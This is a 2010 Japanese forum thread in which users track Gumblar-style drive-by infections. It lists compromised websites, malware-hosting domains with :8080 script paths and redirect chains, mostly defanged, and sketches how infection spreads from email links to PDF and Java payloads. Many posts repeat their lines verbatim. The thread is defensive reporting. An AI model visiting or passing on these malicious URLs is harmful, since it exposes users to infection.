ほうほう、Chrome OSに向けて着々と機能増やしてるね
815 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:35:31
816 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:46:40
>>815
「残骸が残る」としか過去に言われてないからそこまで解らないんだ
そもそも残骸がどんなのか、どこにあるのか、regedit.exeで見たらどう映るのか
ただ「残骸あるある」だけでそこから先が全く話に出てないから……
「残骸が残る」としか過去に言われてないからそこまで解らないんだ
そもそも残骸がどんなのか、どこにあるのか、regedit.exeで見たらどう映るのか
ただ「残骸あるある」だけでそこから先が全く話に出てないから……
817 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 18:52:58
818 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 19:03:43
>>817
期限切れた、アンインスコ済み、そもそも「それっぽい単語」ってのも初見にはサッパリ……
過去ログ読んで知ってそうな「残骸あるある」さんのログ見てもホントに「残骸あるよ」「メーカ品は残骸ある」のゴリ押しだけだし……
期限切れた、アンインスコ済み、そもそも「それっぽい単語」ってのも初見にはサッパリ……
過去ログ読んで知ってそうな「残骸あるある」さんのログ見てもホントに「残骸あるよ」「メーカ品は残骸ある」のゴリ押しだけだし……
819 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 19:49:34
>>818
javaくらい思いつかないか？
レジストリじゃなくてもとりあえずjava.exeをファイル検索してみる程度はやったの？
調べる気もなく過剰に心配してるだけならPC捨てるのが一番安全だよ
しかもDELLってだけで他の情報は隠蔽されてるから調べようがない
そもそも本当にそれはプリインストールされていたの？
この方法でOS入れなおせば余計なソフトははいらないっぽいけどどうなんだろ
http://supportapj.dell.com/support/topics/global.aspx/support/dsn/en/document?docid=179256#Issue8
javaくらい思いつかないか？
レジストリじゃなくてもとりあえずjava.exeをファイル検索してみる程度はやったの？
調べる気もなく過剰に心配してるだけならPC捨てるのが一番安全だよ
しかもDELLってだけで他の情報は隠蔽されてるから調べようがない
そもそも本当にそれはプリインストールされていたの？
この方法でOS入れなおせば余計なソフトははいらないっぽいけどどうなんだろ
http://supportapj.dell.com/support/topics/global.aspx/support/dsn/en/document?docid=179256#Issue8
820 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:36:49
スレの過去ログ読んでもググっても解らないからこそ書いてるのに「調べる気もない」「PC捨てれば？」だなんて……
とりあえずjava.exe検索したらwindows\system32とprogramfile\jre6\binに一つずつあった
どっちも作成日時は2010/04/16だった
とりあえずjava.exe検索したらwindows\system32とprogramfile\jre6\binに一つずつあった
どっちも作成日時は2010/04/16だった
821 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:45:36
すいません、検索しなおすとc\i386にも入っていました……
こちらは2005/11/10です
こちらは2005/11/10です
822 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:48:02
なかようせえへんねんやったらもうピコピコこうたらへんで
823 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:53:31
>>806
>>792
因みに、akuriru●jpは再発だｗ
渡辺司法書士はこっそり修正後、告知しないで隠蔽かにゃ？
search●yahoo●co●jp/search?p=%22●com%3A8080%2FWebmaster●js%22&ei=UTF-8&fr=top_ga1_sa&x=wrt&meta=fl%3D3
>>792
因みに、akuriru●jpは再発だｗ
渡辺司法書士はこっそり修正後、告知しないで隠蔽かにゃ？
search●yahoo●co●jp/search?p=%22●com%3A8080%2FWebmaster●js%22&ei=UTF-8&fr=top_ga1_sa&x=wrt&meta=fl%3D3
824 ：名無しさん＠お腹いっぱい。：2010/06/22(火) 21:58:21
akuriru●jp
こっそりなおしてる
こっそりなおしてる
825 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 02:47:36
>>820
以下は通常JREインストールで入るjava.exe
> windows\system32とprogramfile\jre6\bin
java.exeを右クリック→プロパティからバージョンは確認できる
日付も新しいようだしまだこれはインストールされてるんじゃね
c\i386はリカバリ領域かなんかじゃないかと
以下は通常JREインストールで入るjava.exe
> windows\system32とprogramfile\jre6\bin
java.exeを右クリック→プロパティからバージョンは確認できる
日付も新しいようだしまだこれはインストールされてるんじゃね
c\i386はリカバリ領域かなんかじゃないかと
826 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 08:33:52
>>825
アドバイスありがとうございます
そちらの二つは両方とも「6.0.200.2」と最新でした
c\386は「5.0.60.5」でしたが、ググってみるとクリーンインストール用CDの予備みたいなものだと判明
実影響は無いようなので、実質プリインストールの残骸は無い、と見ても大丈夫ですか？
アドバイスありがとうございます
そちらの二つは両方とも「6.0.200.2」と最新でした
c\386は「5.0.60.5」でしたが、ググってみるとクリーンインストール用CDの予備みたいなものだと判明
実影響は無いようなので、実質プリインストールの残骸は無い、と見ても大丈夫ですか？
827 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 14:35:45
>>826
ここで大丈夫と言っても何の保証もないんであとは自分で判断してください
ここで大丈夫と言っても何の保証もないんであとは自分で判断してください
828 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 18:16:55
ipatukouta●altervista●org/php5/
829 ：名無しさん＠お腹いっぱい。：2010/06/23(水) 23:51:35
>828
多重トラップ注意
多重トラップ注意
830 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 01:30:24
831 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 02:28:14
テンプレ罠だらけだから
832 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 02:42:27
833 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 08:25:34
もうセキュリティー板は、質問すること自体が誤った行為だとつくづく思いました。
自分で調べるのが一番。
自分で調べるのが一番。
834 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 09:34:43
やっと理解したか
おめでとう
おめでとう
835 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 12:03:35
ｺﾝｸﾞﾗｯﾁｭﾚｰｼｮﾝ
,―＝=７ Ｃｏｎｇｒａｔｕｌａｔｉｏｎ！ ｺﾝｸﾞﾗｯﾁｭﾚｰｼｮﾝ
|く ___ _> Ｃｏｎｇｒａｔｕｌａｔｉｏｎ！
ｆll｀ｰU+'
｀''､ ｰ=| おめでとう・・・・・・・・！
_,,..-´:|ヽー-;ｰ..,,_
. ,－＝-, ,,..-‘≡≡:| ><´|≡::|ヽ おめでとう・・・・・・・・！ おめでとう・・・・・・・・！
. | l____ヽ.|≡ｌ≡≡≡| |::| |≡:::/::|
. |(ｌｌｰ´_ヽ|≡|≡≡≡|.|:::|ｌ≡::/::::| おめでとう・・・・・・・・・・・・！
.. ４ ｌ__｀=|_|≡:|≡≡≡::||:::|'≡/≡|
／|＼,.･|::≡:|ヽ|≡≡≡≡≡:::/|≡::| ＿,,.........､
≡|/}:ヽ|:≡|::::|{≡≡≡≡≡:::{ .|≡::| ヽ_,, ヽ
≡:| |:::|ｌ≡:|≡|:|≡≡≡≡≡:::|. .|≡::| /_> |
:::≡ｌ|:::|'≡:|≡:|::|≡≡≡≡≡:::|. .|≡::| |７ llう.. |
≡≡≡≡/|≡ヽ≡≡≡≡≡::::|. ..|≡::|. ｚ-..,〃、 ﾑ__ ll´.. |
::≡≡≡::/ ヽ≡ヽ≡::|―､≡≡::ｌ ..|≡::| / ﾐ 1´/ヽ＝=,...
::≡≡≡| ＼≡ヽ::| ヽ≡≡ｌ .ｌｊヽｌ | 刀､ﾐ _,,,..-｀‐三＝ー-
::≡≡≡| |ヽ／ｰ.、.. ヽ≡≡ｌ. .|/ | ノ= ∠i /ヽ､≡≡≡≡≡
:|￢､≡≡ヽ. |≡ゞー=ッ |≡≡| __／ (ll ｰ゜＼|ヽ. /≡::ヽ≡≡≡≡≡
:| ヽ≡≡ヽ |≡≡ヽミ. |≡≡| ｌ|. ll７| ヽu＝/ｌ二ll二ｌ'''ヽ /≡:::/≡≡≡≡≡
,―＝=７ Ｃｏｎｇｒａｔｕｌａｔｉｏｎ！ ｺﾝｸﾞﾗｯﾁｭﾚｰｼｮﾝ
|く ___ _> Ｃｏｎｇｒａｔｕｌａｔｉｏｎ！
ｆll｀ｰU+'
｀''､ ｰ=| おめでとう・・・・・・・・！
_,,..-´:|ヽー-;ｰ..,,_
. ,－＝-, ,,..-‘≡≡:| ><´|≡::|ヽ おめでとう・・・・・・・・！ おめでとう・・・・・・・・！
. | l____ヽ.|≡ｌ≡≡≡| |::| |≡:::/::|
. |(ｌｌｰ´_ヽ|≡|≡≡≡|.|:::|ｌ≡::/::::| おめでとう・・・・・・・・・・・・！
.. ４ ｌ__｀=|_|≡:|≡≡≡::||:::|'≡/≡|
／|＼,.･|::≡:|ヽ|≡≡≡≡≡:::/|≡::| ＿,,.........､
≡|/}:ヽ|:≡|::::|{≡≡≡≡≡:::{ .|≡::| ヽ_,, ヽ
≡:| |:::|ｌ≡:|≡|:|≡≡≡≡≡:::|. .|≡::| /_> |
:::≡ｌ|:::|'≡:|≡:|::|≡≡≡≡≡:::|. .|≡::| |７ llう.. |
≡≡≡≡/|≡ヽ≡≡≡≡≡::::|. ..|≡::|. ｚ-..,〃、 ﾑ__ ll´.. |
::≡≡≡::/ ヽ≡ヽ≡::|―､≡≡::ｌ ..|≡::| / ﾐ 1´/ヽ＝=,...
::≡≡≡| ＼≡ヽ::| ヽ≡≡ｌ .ｌｊヽｌ | 刀､ﾐ _,,,..-｀‐三＝ー-
::≡≡≡| |ヽ／ｰ.、.. ヽ≡≡ｌ. .|/ | ノ= ∠i /ヽ､≡≡≡≡≡
:|￢､≡≡ヽ. |≡ゞー=ッ |≡≡| __／ (ll ｰ゜＼|ヽ. /≡::ヽ≡≡≡≡≡
:| ヽ≡≡ヽ |≡≡ヽミ. |≡≡| ｌ|. ll７| ヽu＝/ｌ二ll二ｌ'''ヽ /≡:::/≡≡≡≡≡
836 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 13:23:57
そして自分で調べる過程で踏むんですねわかります
マジで初心者にも分かるgumblerスレないよな
これじゃ身内同士だけで身を固めてるだけで「騒ぎ収まらないねー」と愚痴っても
そりゃ収まらんわって気が
wikiも現行版に完全に通用しない古い情報ばかりだしな……
マジで初心者にも分かるgumblerスレないよな
これじゃ身内同士だけで身を固めてるだけで「騒ぎ収まらないねー」と愚痴っても
そりゃ収まらんわって気が
wikiも現行版に完全に通用しない古い情報ばかりだしな……
837 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 14:33:41
AdobeReaderじゃなくてFoxit Reader使ってる
838 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 15:16:48
>>836
そんな狭い規模で起きてるわけじゃないんで
ここがどんなにがんばろうがそれだけで収まるようなもんじゃないよ
初心者スレなんて立ててもバカが混乱したレスするだけで何もならないだろ
同人板がまさにそんな感じだったはず
wikiは見てないから知らんけど変えたいならお前が変えてやれば良いんじゃね
初心者用ならこういうのが良さそう
http://www.so-net.ne.jp/security/news/newstopics_201005.html
http://www.so-net.ne.jp/security/news/newstopics_201001.html
そんな狭い規模で起きてるわけじゃないんで
ここがどんなにがんばろうがそれだけで収まるようなもんじゃないよ
初心者スレなんて立ててもバカが混乱したレスするだけで何もならないだろ
同人板がまさにそんな感じだったはず
wikiは見てないから知らんけど変えたいならお前が変えてやれば良いんじゃね
初心者用ならこういうのが良さそう
http://www.so-net.ne.jp/security/news/newstopics_201005.html
http://www.so-net.ne.jp/security/news/newstopics_201001.html
839 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 15:41:01
>>838
いや、「騒ぎ収まらないねー」ってぼやいてる人達が滑稽に見えただけさ
俺個人はもう対策終えてるし自分の警戒で手いっぱいだから
そこからさらに慈善事業やろうとは思わない
まぁここですらまともな人が来るまで「パソコン捨てれば？」等の問題外な返しで埋まってる事もあるしな……
テンプレまで改竄されて犯罪まがいの事まで起きるし
ID出ない板故致し方なしか
いや、「騒ぎ収まらないねー」ってぼやいてる人達が滑稽に見えただけさ
俺個人はもう対策終えてるし自分の警戒で手いっぱいだから
そこからさらに慈善事業やろうとは思わない
まぁここですらまともな人が来るまで「パソコン捨てれば？」等の問題外な返しで埋まってる事もあるしな……
テンプレまで改竄されて犯罪まがいの事まで起きるし
ID出ない板故致し方なしか
840 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 15:52:27
パソがおかしくなりました＞＜程度の質問しかできないような人が大量に来たら
そりゃ誰でも疲れてPC捨てろという程度の回答になるのは仕方ないんじゃね
まともな質問ができなきゃまともな回答にはならない
まともな人が来るっていうのは要するに
そのときまでのパソ壊れた助けて攻撃に心が折れてない人が来るってことじゃないかと
テンプレ改ざんは別件だけども
そりゃ誰でも疲れてPC捨てろという程度の回答になるのは仕方ないんじゃね
まともな質問ができなきゃまともな回答にはならない
まともな人が来るっていうのは要するに
そのときまでのパソ壊れた助けて攻撃に心が折れてない人が来るってことじゃないかと
テンプレ改ざんは別件だけども
841 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 17:11:50
>>840
それでもそんなアホな返しをしちゃったら「まともな質問しない奴」と同レベルになっちゃうワケで
傍から見れば同レベルにしか見えない
そういうのはスルーでいいんだぜ……？
テンプレ改竄はどうにかならんかな……
それでもそんなアホな返しをしちゃったら「まともな質問しない奴」と同レベルになっちゃうワケで
傍から見れば同レベルにしか見えない
そういうのはスルーでいいんだぜ……？
テンプレ改竄はどうにかならんかな……
842 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 20:06:35
そもそもセキュリティ板とか言いながらIDすら非表示な時点でなｗ
843 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 21:27:10
www4●ocn●ne●jp/~motegi/ ←不動産屋 連絡するが対処せず
www4●ocn●ne●jp/~hanko/ ←はんこや 連絡するが対処せず
www1●ocn●ne●jp/~orchid08/sub5●html ←不動産屋 連絡するが対処せず
www16●ocn●ne●jp/~nisikawa/
www17●ocn●ne●jp/~hidib●j/sirase●html
www2●ocn●ne●jp/~hcy/ryoukin●html （gumblar x）
www2●ocn●ne●jp/~lakeside/
OCNの対応は非常に遅い
www4●ocn●ne●jp/~hanko/ ←はんこや 連絡するが対処せず
www1●ocn●ne●jp/~orchid08/sub5●html ←不動産屋 連絡するが対処せず
www16●ocn●ne●jp/~nisikawa/
www17●ocn●ne●jp/~hidib●j/sirase●html
www2●ocn●ne●jp/~hcy/ryoukin●html （gumblar x）
www2●ocn●ne●jp/~lakeside/
OCNの対応は非常に遅い
844 ：名無しさん＠お腹いっぱい。：2010/06/24(木) 21:41:57
> www2●ocn●ne●jp/~hcy/ryoukin●html （gumblar x）
どこにある？
どこにある？
845 ：名無しさん＠お腹いっぱい。：2010/06/25(金) 06:35:40
ITWB2 次回「脅威！ガンブラーウイルスの正体」
ttp://img189.imageshack.us/flvplayer.swf?f=Mgumblaritwb2&autostart=true
ttp://img189.imageshack.us/flvplayer.swf?f=Mgumblaritwb2&autostart=true
846 ：名無しさん＠お腹いっぱい。：2010/06/25(金) 16:57:30
取扱注意
www●wedia-t●com
www●wedia-t●com
847 ：名無しさん＠お腹いっぱい。：2010/06/25(金) 21:21:38
>>843
対応するのはOCNじゃなくてそこを使ってる利用者だろ・・・
対応するのはOCNじゃなくてそこを使ってる利用者だろ・・・
848 ：735：2010/06/25(金) 22:17:18
当館ホームページ改ざんの件
ttp://www.maizurusou.co.jp/topics/index.html
ttp://www.maizurusou.co.jp/topics/index.html
849 ：名無しさん＠お腹いっぱい。：2010/06/26(土) 11:08:02
850 ：八頭 ◆YAGApwSaEw ：2010/06/26(土) 11:09:08
bkc-net●com
851 ：コテハン ◆8080adndqg ：2010/06/26(土) 13:17:08
【陥落サイトのURL悪用厳禁】
www●hugoinc●us/PDF ←意味不
blog●nadamori●com/ ←新型の「.info:8080」
p-asahi●com/shop/rss/
.biz:8080は来るかな？
www●hugoinc●us/PDF ←意味不
blog●nadamori●com/ ←新型の「.info:8080」
p-asahi●com/shop/rss/
.biz:8080は来るかな？
852 ：八頭 ◆YAGApwSaEw ：2010/06/27(日) 14:23:45
USドメだが
dogforums●com
dogforums●com
853 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 14:48:38
ume
854 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 16:53:29
shabao●com/public_html/top_footer
www●ff●iij4u●or●jp/~ceh/lvvl/ferachan
www●daini-survey●com/xmlrpc●php
www●soul-wave●jp/RAYCA/
www●ff●iij4u●or●jp/~ceh/lvvl/ferachan
www●daini-survey●com/xmlrpc●php
www●soul-wave●jp/RAYCA/
855 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 22:25:22
最近ヤバいコードや新しいコードはどんなのがあるんだ
856 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 23:50:01
歴代Gumblar感染サイトとかまとめてる人がいればなあ
857 ：名無しさん＠お腹いっぱい。：2010/06/27(日) 23:54:08
このスレの過去ログ全部持ってる人ならいるんじゃない
858 ：コテハン ◆8080adndqg ：2010/06/28(月) 00:00:58
【陥落サイトのURL悪用厳禁】
www●cb-med●jp/jb/?a=ds&Id=71
電話番号の8080に引っ掛かってきたｗ
www●cb-med●jp/jb/?a=ds&Id=71
電話番号の8080に引っ掛かってきたｗ
859 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 04:51:59
0-dayやってるグループと大規模にひっかけてるグループじゃ別グループみたいで、
0-dayコードがいきなり大量攻撃に使われることはあまり無いな
0-dayコードがいきなり大量攻撃に使われることはあまり無いな
860 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 07:14:00
まれによくある
861 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 11:38:22
>>856－857
とりあえず危険なコードをまとめたtxtファイルなりwikiなりがあると助かるな
とりあえず危険なコードをまとめたtxtファイルなりwikiなりがあると助かるな
862 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 13:22:23
そんなの何に使うの？
悪用されることが目に見えてるよ
ついでにコード自体は難読化されてることも多いんでまとめる意味が無い
被害サイト見てもわからないならわからないとおもう
悪用されることが目に見えてるよ
ついでにコード自体は難読化されてることも多いんでまとめる意味が無い
被害サイト見てもわからないならわからないとおもう
863 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 14:37:40
最近、Webサイト改ざんよりも、メールのリンクから感染させようとするのが増えてきてる。
メールのリンクをクリック
↓
リンク先から com;8080、info;8080 へリダイレクト
↓
index.phpを読み込む
↓
pdfとJREファイルをダウンロードしてローカルで実行される
改ざんされたサイトよりも、メールを送りつけられる方が増えてるな…。
SPAMメールなのにリンクをクリックしちゃうユーザが多すぎて困る
メールのリンクをクリック
↓
リンク先から com;8080、info;8080 へリダイレクト
↓
index.phpを読み込む
↓
pdfとJREファイルをダウンロードしてローカルで実行される
改ざんされたサイトよりも、メールを送りつけられる方が増えてるな…。
SPAMメールなのにリンクをクリックしちゃうユーザが多すぎて困る
864 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 14:56:31
自分が警戒するだけなら、こっちの方がずっと楽だなｗ
865 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 18:45:34
最新Gumblar、Windows「ヘルプとサポートセンター」の脆弱性を利用
～JPCERTが注意喚起
http://www.rbbtoday.com/article/2010/06/28/68725.html
対象となる製品とバージョンはWindows XP Service Pack 2および
Windows XP Service Pack 3、Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2、Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systemsの5種。
28日現在、マイクロソフト社より本件に関するセキュリティ更新プログラムは
公開されていないため、軽減策として、HCPプロトコルの登録の解除が提示されている。
また本軽減策を自動的に適用するための“Microsoft Fix it”も公開中とのこと。
～JPCERTが注意喚起
http://www.rbbtoday.com/article/2010/06/28/68725.html
対象となる製品とバージョンはWindows XP Service Pack 2および
Windows XP Service Pack 3、Windows XP Professional x64 Edition Service Pack 2
Windows Server 2003 Service Pack 2、Windows Server 2003 x64 Edition Service Pack 2
Windows Server 2003 with SP2 for Itanium-based Systemsの5種。
28日現在、マイクロソフト社より本件に関するセキュリティ更新プログラムは
公開されていないため、軽減策として、HCPプロトコルの登録の解除が提示されている。
また本軽減策を自動的に適用するための“Microsoft Fix it”も公開中とのこと。
866 ：名無しさん＠お腹いっぱい。：2010/06/28(月) 20:44:34
867 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/29(火) 00:06:03
仕事地獄終了…
>>850以降で書き込まれていたURLで、現時点でも
ウイルスが仕込まれているサイトにはメル凸しました
英語サイトはスルー
>>849
http://www.virustotal.com/analisis/167501b07f0cafb8dc73ef4bd0d7ea4640725c7f6a28ac69ccb33a11ec0db2b5-1277714205
http://www.virustotal.com/analisis/ea1eb23873efbb6cba1644ceee736a1977a386dd01105ecc7d39882301a651a0-1277714313
AviraはNotes1をマルウェアと認定している模様
Avastからは反応なし、対応済みなのかな？
>>850以降で書き込まれていたURLで、現時点でも
ウイルスが仕込まれているサイトにはメル凸しました
英語サイトはスルー
>>849
http://www.virustotal.com/analisis/167501b07f0cafb8dc73ef4bd0d7ea4640725c7f6a28ac69ccb33a11ec0db2b5-1277714205
http://www.virustotal.com/analisis/ea1eb23873efbb6cba1644ceee736a1977a386dd01105ecc7d39882301a651a0-1277714313
AviraはNotes1をマルウェアと認定している模様
Avastからは反応なし、対応済みなのかな？
868 ：夷塚 ◆y0JEaK6O/gDf ：2010/06/29(火) 16:39:28
blog.unmaskparasites.com/2010/06/17/malware-on-hijacked-subdomains-part-2/
> org:8080/File●js
> biz:8080/File●js
> org:8080/File●js
> biz:8080/File●js
869 ：名無しさん＠お腹いっぱい。：2010/06/30(水) 02:29:13
Adobe Acrobat のバージョンアップ
870 ：名無しさん＠お腹いっぱい。：2010/06/30(水) 02:39:50
9.3.3.177
871 ：名無しさん＠お腹いっぱい。：2010/06/30(水) 16:56:33
Adobeは10年前通ったMicrosoftと同じ道を辿ってるな
872 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 07:27:55
yamaga-blanks●com/gazoup2/
yamaga-blanks●com/gazoup2/index●php?mode=rss
yokohamac●com/info/
yokohamac●com/info/?feed=rss2&p=17
yamaga-blanks●com/gazoup2/index●php?mode=rss
yokohamac●com/info/
yokohamac●com/info/?feed=rss2&p=17
873 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 14:56:29
本日23:30～ NHK
ITホワイトボックスII「脅威！ガンブラーウイルスの正体」
ITホワイトボックスII「脅威！ガンブラーウイルスの正体」
874 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/01(木) 15:49:44
875 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 20:47:06
876 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 23:29:58
>>873
たった25分？
たった25分？
877 ：名無しさん＠お腹いっぱい。：2010/07/01(木) 23:58:42
ホワイトボックスの解説混同しまくり？
ウェブページの改ざん方法から感染させられるウィルスの情報まで一緒くたでよく分からんかった。
とりあえず、セキュリティーツールという偽アンチウィルスソフトの画面が見られて、ふぅんとは思えた。
ウェブページの改ざん方法から感染させられるウィルスの情報まで一緒くたでよく分からんかった。
とりあえず、セキュリティーツールという偽アンチウィルスソフトの画面が見られて、ふぅんとは思えた。
878 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:05:24
NHKやっちまったなｗ
879 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:22:24
なにを？
880 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:28:44
とりあえず、ホワイトボックスの再放送はまだあるから、生で見るなり録画するなりしてみられるよ。
こっちも録画してアップするか、テキストに書き起こしてみる。
こっちも録画してアップするか、テキストに書き起こしてみる。
881 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 00:45:32
不特定多数向けの構成なんだからあんなものだろ。
882 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 01:44:31
現在主流の8080系を「Gumblar(亜種)」と呼ぶの･･いい加減やめませんか？
883 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 08:45:38
マスゴミがそう書いちゃったから仕方がない。
drive-by-downloadなんて大昔からあるんだけど、
セキュ関係も説明すんのめんどくさくなって
「いわゆるgumlar」で済ませてる所が多い。
drive-by-downloadなんて大昔からあるんだけど、
セキュ関係も説明すんのめんどくさくなって
「いわゆるgumlar」で済ませてる所が多い。
884 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 18:57:08
>>845>>873
見るのを忘れましたorz
再放送も見逃すかも(´・ω・｀)
ttp://www.nhk.or.jp/itwb/2/programme/
■ 放送予定
7月3日（土）午前5:00～
「脅威！ガンブラーウイルスの正体」BS2
7月4日（日）午後2:00～
「脅威！ガンブラーウイルスの正体」教育
見るのを忘れましたorz
再放送も見逃すかも(´・ω・｀)
ttp://www.nhk.or.jp/itwb/2/programme/
■ 放送予定
7月3日（土）午前5:00～
「脅威！ガンブラーウイルスの正体」BS2
7月4日（日）午後2:00～
「脅威！ガンブラーウイルスの正体」教育
885 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/02(金) 21:08:17
>>875
チェック乙です
「yamaga-blanks●com/gazoup2/」も404みたいですね
そしてGumblar特集を放映してた頃に漁ってたもの
topious●fairwaydrycleaners●net:8080/Scanner●js
topious●fairwaydrycleaners●net:8080/Gnutella●js
topious●fairwaydrycleaners●net:8080/Vector_Graphic●js
huio●e-solutionsystems●net:8080/Hard_Disk●js
.jsに繋がらないので正直何とも言えませんが、一応報告だけ
チェック乙です
「yamaga-blanks●com/gazoup2/」も404みたいですね
そしてGumblar特集を放映してた頃に漁ってたもの
topious●fairwaydrycleaners●net:8080/Scanner●js
topious●fairwaydrycleaners●net:8080/Gnutella●js
topious●fairwaydrycleaners●net:8080/Vector_Graphic●js
huio●e-solutionsystems●net:8080/Hard_Disk●js
.jsに繋がらないので正直何とも言えませんが、一応報告だけ
886 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 21:11:10
>>882
じゃあモンブラン
じゃあモンブラン
887 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 21:20:17
ishikane-hospital●or●jp/isikane_i/
888 ：名無しさん＠お腹いっぱい。：2010/07/02(金) 23:54:10
889 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 15:22:14
ゲーム系サイトもまずいのかなあ
890 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 16:19:18
少なくとも個人運営サイトは危ないと思う、同人サイトはだいぶ対策が取られてるけどそれでもズカズカ踏み込むのはオススメしないね
ゲームでもwiki系HPならまだ大丈夫……か？詳しくないから解らん
ゲームでもwiki系HPならまだ大丈夫……か？詳しくないから解らん
891 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 16:39:12
やられない・やられても大丈夫の２段構えにしてるからズカズカ踏み込んでるよ
892 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 17:08:50
893 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 18:05:43
発売直後の人気ゲームの攻略wikiとか
リンク先がどっかのエロサイトに変えられるとかザラだよな
リンク先がどっかのエロサイトに変えられるとかザラだよな
894 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 18:16:08
>>892
お前もお前で一言多いがな
お前もお前で一言多いがな
895 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 18:40:39
896 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 19:31:50
897 ：名無しさん＠お腹いっぱい。：2010/07/03(土) 20:16:50
三井住友VISAがやられてる時点で
898 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 02:11:04
そもそもそういうジャンル分けで考えられる問題じゃない
どこも危ない
どこも危ない
899 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/04(日) 04:06:14
ちゅらひめにfm:8080…そういえばそんなドメインもありました
しかしいつから埋まってたんだろう
>>889
絶対安全といえるサイトは正直何処にもないですね
FTPの接続先がどんな内容かなんてお構いなしですから
ふと思う、コミックマーケットも近いこの時期にシャッター前サークルや
出展企業の公式サイトが陥落したらと思うとなかなか恐ろしいものが…
しかしいつから埋まってたんだろう
>>889
絶対安全といえるサイトは正直何処にもないですね
FTPの接続先がどんな内容かなんてお構いなしですから
ふと思う、コミックマーケットも近いこの時期にシャッター前サークルや
出展企業の公式サイトが陥落したらと思うとなかなか恐ろしいものが…
900 ：八頭 ◆YAGApwSaEw ：2010/07/04(日) 13:34:51
>>夷塚さん甘いよ・・・
ttp://i50.tinypic.com/fw81l3.jpg
ttp://i50.tinypic.com/fw81l3.jpg
901 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 17:36:08
強いて言えばhtml読み込まない専ブラ使えるとこが比較的安全度高いくらいか
902 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 18:19:13
ちょっと調べたが、最近出たHCPプロトコル云々はまたレジストリを弄らないとダメな類か
一般ユーザー涙目ってレヴェルじゃないな……
ところでブラウザのIE８なんだが、インターネットオプションの「ページの自動読み込み」はどうするべきなんだろうか
これつけっぱなしだと感染してるURLのハイパーリンクに触れただけで読み込まれてしまう？
一般ユーザー涙目ってレヴェルじゃないな……
ところでブラウザのIE８なんだが、インターネットオプションの「ページの自動読み込み」はどうするべきなんだろうか
これつけっぱなしだと感染してるURLのハイパーリンクに触れただけで読み込まれてしまう？
903 ：名無しさん＠お腹いっぱい。：2010/07/04(日) 21:30:10
904 ：名無しさん＠お腹いっぱい。：2010/07/05(月) 01:40:42
905 ：夷塚 ◆y0JEaK6O/gDf ：2010/07/05(月) 03:52:42
www.google.com/safebrowsing/diagnostic?site=[www.楽々茶.com]/&hl=ja
→peer●webserviceaan●ru/js●js
→109●196●134●58/ssl●html
→cache●globalforexnet●com:8080/index●php?pid=6
>>900
仰りたい事が理解できてるか正直不安ですが、ystat.jsの事でしょうか？
間違ってたらごめんなさい
>>902
リンク先読みは無効にしちゃってもいいんじゃないでしょうか
→peer●webserviceaan●ru/js●js
→109●196●134●58/ssl●html
→cache●globalforexnet●com:8080/index●php?pid=6
>>900
仰りたい事が理解できてるか正直不安ですが、ystat.jsの事でしょうか？
間違ってたらごめんなさい
>>902
